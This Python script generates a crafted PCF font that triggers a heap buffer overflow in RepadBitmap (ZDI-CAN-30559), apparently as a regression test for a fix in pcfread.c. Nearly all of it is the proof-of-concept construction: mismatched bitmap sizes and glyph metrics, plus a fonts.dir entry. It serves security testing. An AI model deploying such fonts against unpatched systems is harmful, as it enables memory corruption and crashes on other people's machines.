1 #!/usr/bin/env python3 2 """ 3 Generate a malicious PCF font that triggers the RepadBitmap heap buffer 4 overflow (ZDI-CAN-30559). 5 6 The font declares a tiny bitmapSizes[2] (for pad=4) but has per-glyph 7 metrics that cause RepadBitmap to write far more data than allocated. 8 9 With the fix in pcfread.c, the library computes the required buffer size 10 from per-glyph metrics instead of trusting bitmapSizes[], so this font 11 is loaded safely. 12 13 Usage: 14 python3 gen_evil_pcf_repad.py <output_dir> 15 16 Creates <output_dir>/evil-repad.pcf and <output_dir>/fonts.dir 17 """ 18 19 import struct 20 import sys 21 import os 22 23 PCF_DEFAULT_FORMAT = 0x00000000 24 PCF_PROPERTIES = 1 25 PCF_ACCELERATORS = 2 26 PCF_METRICS = 4 27 PCF_BITMAPS = 8 28 PCF_BDF_ENCODINGS = 32 29 30 31 def u32(x): 32 return struct.pack("<I", x & 0xFFFFFFFF) 33 34 35 def i32(x): 36 return struct.pack("<i", x) 37 38 39 def u16(x): 40 return struct.pack("<H", x & 0xFFFF) 41 42 43 def i16(x): 44 return struct.pack("<h", x) 45 46 47 def u8(x): 48 return struct.pack("<B", x & 0xFF) 49 50 51 def xCharInfo(lsb, rsb, cw, asc, desc, attr): 52 return i16(lsb) + i16(rsb) + i16(cw) + i16(asc) + i16(desc) + u16(attr) 53 54 55 # Per-glyph metric: width=200, height=20 56 # dstWidthBytes at pad=4 = ((200+31)>>5)<<2 = 28 57 # RepadBitmap writes 28 * 20 = 560 bytes 58 PG_RSB, PG_LSB = 200, 0 59 PG_ASCENT, PG_DESCENT = 10, 10 60 61 # bitmapSizes[2] = 16 (tiny, causes overflow without fix) 62 BITMAP_SIZES = [500, 520, 16, 640] 63 BITMAP_DATA_SIZE = BITMAP_SIZES[0] 64 65 # --- PROPERTIES --- 66 properties = b"" 67 properties += u32(PCF_DEFAULT_FORMAT) 68 properties += i32(1) 69 properties += i32(0) 70 properties += u8(0) 71 properties += i32(0) 72 properties += b"\x00" * 3 73 properties += i32(1) 74 properties += b"\x00" 75 76 # --- ACCELERATORS --- 77 accel = b"" 78 accel += u32(PCF_DEFAULT_FORMAT) 79 accel += u8(0) * 8 80 accel += i32(PG_ASCENT) 81 accel += i32(PG_DESCENT) 82 accel += i32(0) 83 accel += xCharInfo(0, 0, 0, 0, 0, 0) 84 accel += xCharInfo(PG_LSB, PG_RSB, PG_RSB, PG_ASCENT, PG_DESCENT, 0) 85 86 # --- METRICS --- 87 metrics = b"" 88 metrics += u32(PCF_DEFAULT_FORMAT) 89 metrics += i32(1) 90 metrics += xCharInfo(PG_LSB, PG_RSB, PG_RSB, PG_ASCENT, PG_DESCENT, 0) 91 92 # --- BITMAPS --- 93 bitmaps = b"" 94 bitmaps += u32(PCF_DEFAULT_FORMAT) 95 bitmaps += i32(1) 96 bitmaps += u32(0) 97 for sz in BITMAP_SIZES: 98 bitmaps += u32(sz) 99 bitmaps += b"\xaa" * BITMAP_DATA_SIZE 100 101 # --- BDF_ENCODINGS --- 102 encodings = b"" 103 encodings += u32(PCF_DEFAULT_FORMAT) 104 encodings += u16(0) + u16(0) # firstCol, lastCol 105 encodings += u16(0) + u16(0) # firstRow, lastRow 106 encodings += u16(0) # defaultCh 107 encodings += u16(0) # encoding[0] -> metric[0] 108 109 # --- Assemble --- 110 TABLE_COUNT = 5 111 BODY_START = 8 + TABLE_COUNT * 16 112 113 properties_off = BODY_START 114 accel_off = properties_off + len(properties) 115 metrics_off = accel_off + len(accel) 116 bitmaps_off = metrics_off + len(metrics) 117 encodings_off = bitmaps_off + len(bitmaps) 118 119 120 def toc(type_, format_, size, offset): 121 return u32(type_) + u32(format_) + u32(size) + u32(offset) 122 123 124 out = b"\x01fcp" + u32(TABLE_COUNT) 125 out += toc(PCF_PROPERTIES, 0, len(properties), properties_off) 126 out += toc(PCF_ACCELERATORS, 0, len(accel), accel_off) 127 out += toc(PCF_METRICS, 0, len(metrics), metrics_off) 128 out += toc(PCF_BITMAPS, 0, len(bitmaps), bitmaps_off) 129 out += toc(PCF_BDF_ENCODINGS, 0, len(encodings), encodings_off) 130 out += properties + accel + metrics + bitmaps + encodings 131 132 output_dir = sys.argv[1] if len(sys.argv) > 1 else "." 133 os.makedirs(output_dir, exist_ok=True) 134 135 pcf_name = "evil-repad.pcf" 136 xlfd = "-evil-repad-medium-r-normal--10-100-75-75-c-80-iso10646-1" 137 138 with open(os.path.join(output_dir, pcf_name), "wb") as f: 139 f.write(out) 140 141 with open(os.path.join(output_dir, "fonts.dir"), "w") as f: 142 f.write("1\n") 143 f.write(f"{pcf_name} {xlfd}\n") 144